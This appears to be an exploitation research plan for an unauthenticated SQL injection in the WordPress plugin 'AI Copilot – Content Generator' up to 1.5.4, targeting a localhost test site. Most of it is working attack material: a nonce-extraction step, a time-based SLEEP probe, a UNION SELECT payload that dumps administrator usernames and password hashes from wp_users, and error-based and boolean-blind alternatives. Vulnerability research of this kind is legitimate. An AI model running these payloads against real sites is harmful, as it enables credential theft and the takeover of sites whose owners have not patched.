AI Copilot – Content Generator <= 1.5.4 - Unauthenticated SQL Injection

This exploitation research plan targets CVE-2026-59515, an unauthenticated SQL injection vulnerability in the "AI Copilot – Content Generator" plugin.

1. Vulnerability Summary

The vulnerability exists in the WaicDb class, specifically within the get() and query() methods in classes/db.php. The plugin uses a custom database wrapper that attempts to "prepare" queries by manually interpolating variables into the SQL string before passing them to the global $wpdb->prepare() function.

Because parameters are concatenated into the query string before the legitimate prepare() call, the prepare() function treats the injected SQL as part of the query structure rather than a literal value. This allows an unauthenticated attacker to inject arbitrary SQL commands.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: waic_ajax (The framework's primary AJAX dispatcher)
• Route: chatbots.get_messages (or any unauthenticated route that queries the database by ID)
• Vulnerable Parameter: id
• Authentication: None required (accessible via wp_ajax_nopriv_waic_ajax).
• Preconditions: The plugin must be active. A chatbot session or history must exist (or be created) to trigger the database query.

3. Code Flow

1. Entry Point: An unauthenticated request is sent to admin-ajax.php?action=waic_ajax&route=chatbots.get_messages&id=[PAYLOAD].
2. Dispatching: ai-copilot-content-generator.php calls WaicFrame::_()->exec(), which identifies the waic_ajax action and routes it to the ChatbotsController.
3. Controller Logic: The controller retrieves the id from $_REQUEST['id'] and passes it to a model or directly to a DB query.
4. Vulnerable Sink: The code calls WaicDb::get("SELECT * FROM @__chatlogs WHERE id = '$id'").
5. Faulty Preparation: In classes/db.php, WaicDb::prepareQuery() is called. It replaces @__ with the WordPress prefix and modifies the query to include 1=%d.
6. SQL Execution: $wpdb->prepare($query, $args) is called. Since the malicious $id is already part of the $query string, it is executed as raw SQL.

4. Nonce Acquisition Strategy

The waic_ajax dispatcher typically requires a nonce for validation. In this plugin, the nonce is localized for the frontend using wp_localize_script.

Strategy:

1. Identify Shortcode: The plugin uses the [aiwu-chatbot] or [aiwu-form] shortcode to render the frontend interface.
2. Create Trigger Page: Create a public page containing the chatbot shortcode.
3. Extract Nonce: Navigate to the page and extract the nonce from the waicData (inferred) global JavaScript variable.

Execution:

# 1. Create a page with the chatbot shortcode
wp post create --post_type=page --post_title="Chat" --post_status=publish --post_content='[aiwu-chatbot]'

# 2. Extract the nonce via browser_eval
# (Assuming the localized variable is waicData based on the framework pattern)
browser_navigate("http://localhost:8080/chat")
NONCE=$(browser_eval "window.waicData?.nonce")

5. Exploitation Strategy

Step 1: Verification (Time-Based)

Confirm the injection by inducing a 5-second delay.

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=waic_ajax&route=chatbots.get_messages&id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  

• Expected Result: Response time > 5 seconds.

Step 2: Data Extraction (UNION-Based)

Extract the administrator's username and password hash from the wp_users table. We assume the @__chatlogs table has 7 columns (inferred from installer.php schema).

• Tool: http_request
• Payload:

  -1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -
  

• Body (URL-encoded):

  action=waic_ajax&route=chatbots.get_messages&id=-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -
  

• Expected Result: The response JSON will contain the user_login and user_pass values in the fields normally reserved for the chatbot message and response.

6. Test Data Setup

1. Plugin Activation: Ensure ai-copilot-content-generator is active.
2. Mock Data: Create at least one chatbot entry to ensure the get_messages route has a base query to execute.

   wp eval "WaicDb::query(\"INSERT INTO @__chatlogs (session_id, message, response) VALUES ('test-session', 'Hello', 'Hi')\");"
   

3. Public Page: Create the "Chat" page as described in Section 4.

7. Expected Results

• Success Indicator: The AJAX response returns a success: true status with a data array.
• Exposed Data: Inside the data array, the objects will have values like:

  {
    "message": "admin",
    "response": "$P$B..."
  }
  

8. Verification Steps

After running the exploit, verify the extracted data matches the actual database state using WP-CLI:

# Check the admin user's hash
wp user get admin --field=user_pass

9. Alternative Approaches

If the chatbots.get_messages route is not enabled or column counts differ:

1. Error-Based: Use updatexml() or extractvalue() to leak data via MySQL errors if WP_DEBUG is on.
   • Payload: 1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
2. Blind Boolean: If no output is returned, use the id parameter with boolean conditions (e.g., id=1' AND 1=1-- - vs id=1' AND 1=2-- -) and compare the response lengths or the success field.
3. Different Route: Try history.get_item or forms.get_entries which use similar WaicDb::get calls.